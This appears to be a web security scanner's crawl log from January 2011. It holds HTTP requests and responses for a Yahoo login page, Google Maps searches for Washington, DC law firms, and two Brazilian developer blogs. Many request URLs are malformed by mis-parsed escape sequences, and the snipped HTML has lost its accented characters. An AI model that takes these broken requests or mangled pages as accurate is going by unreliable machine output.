GET /config/login?.src=fpctx&logout=1&r= HTTP/1.1 Host: login.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:21 GMT Set-Cookie: B=76otfft6jea6h&b=3&s=5d; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com Set-Cookie: Y=%2e; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com Set-Cookie: T=z=0; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; domain=.yahoo.com Set-Cookie: SSL=%2e; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/; domain=.yahoo.com; secure P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Frame-Options: DENY Cache-Control: private Connection: close Content-Type: text/html Content-Length: 18382
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
GET /maps?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=wl HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_group\\x26amp;ct\\x3dimage\\x26amp;resnum\\x3d3\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CA0QtgMwAg\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps?hl\x3den\x26tab\x3dwl\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_group\\x26amp;ct\\x3dimage\\x26amp;resnum\\x3d4\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CAgQtgMwAw\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps?hl\\x3den\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington,+dc+law+office\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+office\\x26amp;hnear\\x3dWashington,+DC\\x26amp;ei\\x3dYP42TaWkFMOAlAffkbzWAg\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_group\\x26amp;ct\\x3dimage\\x26amp;resnum\\x3d3\\x26amp;ved\\x3d0CAkQtgMwAg\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d13437023037687018731\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d9\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFIQ4gkwCA\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d9078722539774556459\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dmap-marker-link\\x26amp;resnum\\x3d6\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CE4QrwswBQ\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d5798328771102146124\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dmap-marker-link\\x26amp;resnum\\x3d5\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEQQrwswBA\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d12678191656366739100\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d5575997836340309140\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dmap-marker-link\\x26amp;resnum\\x3d3\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDAQrwswAg\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d6666250497580407995\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d4\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDsQ4gkwAw\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d6692290780508071627\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d10\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ4gkwCQ\\x22\\x3e1\\x26nbsp;review\\x26nbsp;-\\x26nbsp;\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d12678191656366739100\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d5\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDYQ4gkwBA\\x22\\x3e8\\x26nbsp;reviews\\x26nbsp;-\\x26nbsp;\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d6285475624419297751\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl=en&um=1&ie=UTF-8&\x3den\x26um\x3d1\x26ie\x3dUTF-8\x26q\x3d\x26fb\x3d1\x26gl\x3dus\x26hq\x3d\x26hnear\x3dCambridge,+MA\x26cid\x3d HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d7730182142799929151\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d8\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CGAQ4gkwBw\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d7730182142799929151\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dmap-marker-link\\x26amp;resnum\\x3d8\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CF8QrwswBw\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d11438858079568990951\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d9\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CGoQ4gkwCA\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d1271049528038652001\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d7\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFgQ4gkwBg\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d15964352321809693773\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d7\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEQQ4gkwBg\\x22\\x3e1\\x26nbsp;review\\x26nbsp;-\\x26nbsp;\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d9078722539774556459\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d6\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CE8Q4gkwBQ\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d5798328771102146124\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d5\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEUQ4gkwBA\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d5575997836340309140\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d3\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDEQ4gkwAg\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d4305814597521137034\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d4\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CC8Q4gkwAw\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d1271049528038652001\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dmap-marker-link\\x26amp;resnum\\x3d7\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFcQrwswBg\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d11560814886840835525\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d8\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CEsQ4gkwBw\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d11438858079568990951\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dmap-marker-link\\x26amp;resnum\\x3d9\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CGcQrwswCA\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d20\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+offices\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d6285475624419297751\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dplacepage-link\\x26amp;resnum\\x3d6\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CD0Q4gkwBQ\\x22\\x3e\\x3cspan HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /maps/place?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;cp\\x3d19\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3dwashington+dc+law+firms\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3dlaw+firms\\x26amp;hnear\\x3dWashington,+DC\\x26amp;cid\\x3d6666250497580407995\\x26amp;ei\\x3dX_42TZTeCcP58AbAmYzXAw\\x26amp;sa\\x3dX\\x26amp;oi\\x3dlocal_result\\x26amp;ct\\x3dmap-marker-link\\x26amp;resnum\\x3d4\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CDoQrwswAw\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: mariomariani.blogspot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Wed, 19 Jan 2011 18:09:36 GMT Date: Wed, 19 Jan 2011 18:09:36 GMT Cache-Control: public, max-age=0, proxy-revalidate, must-revalidate Last-Modified: Wed, 03 Nov 2010 18:22:11 GMT ETag: "60fe3bfd-a509-4945-bcc9-e494f8163cdb" X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
GET /?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: mergulhao.info Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:41 GMT Server: Apache/2.2.11 (Ubuntu) Phusion_Passenger/2.2.9 Last-Modified: Tue, 11 Jan 2011 22:35:03 GMT ETag: "49a87bf-9bd1-49999b20bb3c0" Accept-Ranges: bytes Content-Length: 39889 Vary: Accept-Encoding Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta name="ver ...[SNIP]... <div class="left-box" align="center">
<a href="http://www.devinrio.com.br"><img src="http://www.devinrio.com.br/images/devinrio2010_euvou_120x240.gif" alt="Dev in Rio 2010"/></a> ...[SNIP]... <p class="center"><a href="http://redeparede.com.br"><img src="http://mergulhao.info/assets/2009/1/4/redeparede.gif" alt="RedeParede!" /> ...[SNIP]... <p class="center"><a href="http://workingwithrails.com/recommendation/new/person/10517-sylvestre-mergulhao"><img alt="Recommend Me" src="http://mergulhao.info/assets/2008/8/29/compact-med_1.jpg" /> ...[SNIP]... <p class="center"><a href="http://www.antiifcampaign.com"><img height="60" width="120" src="http://www.antiifcampaign.com/_export/anti-if-campaign-ive-joined.gif" alt="I have joined Anti-IF Campaign" /></a> ...[SNIP]... <li><a href="http://metronus.com/blog/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Andr.. Fonseca</a> ...[SNIP]... <li><a href="http://caikesouza.com/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Caike Souza</a> ...[SNIP]... <li><a href="http://diegodukao.net/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Diego Duk..o</a> ...[SNIP]... <li><a href="http://blog.distopico.org/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Edgard Arakaki</a> ...[SNIP]... <li><a href="http://gc.blog.br/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Guilherme Chapiewski</a> ...[SNIP]... <li><a href="http://henriquebastos.net/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Henrique Bastos</a> ...[SNIP]... <li><a href="http://tapajos.me/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Marcos Tapaj..s</a> ...[SNIP]... <li><a href="http://mariomariani.blogspot.com/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">M..rio Mariani</a> ...[SNIP]... <li><a href="http://rafael.adm.br/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Rafael Lima</a> ...[SNIP]... <li><a href="http://rafael.tauil.com.br/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Rafael Tauil</a> ...[SNIP]... <li><a href="http://ramonpage.com/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Ramon Bispo</a> ...[SNIP]... <li><a href="http://vp.blog.br/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra">Vitor Pellegrino</a> ...[SNIP]... <p>A gem <a href="https://github.com/crowdint/rails3-jquery-autocomplete">rails3-jquery-autocomplete</a> ...[SNIP]... <p>Antes de come..ar, verifique se voc.. j.. est.. incluindo o <a href="http://jquery.com/">jQuery</a> e o <a href="http://jqueryui.com/demos/autocomplete/">jQuery.ui</a> ...[SNIP]... <p>Uma das ferramentas mais ..teis (at.. mesmo essenciais, eu diria) no arsenal de um desenvolvedor web s..o as tarefas do <a href="http://en.wikipedia.org/wiki/Cron">cron</a> ...[SNIP]... <p>Estou achando incrivelmente alta a quantidade de desenvolvedores que n..o est..o dando o devido valor aos eventos como o <a href="http://devinrio.com.br">Devinrio</a>. Eu como consultor da <a href="http://helabs.com.br">Helabs</a> ...[SNIP]... <p>Voc.. vai perder a oportunidade de fazer <a href="http://dojorio.wordpress.com/">Dojo</a> ...[SNIP]... 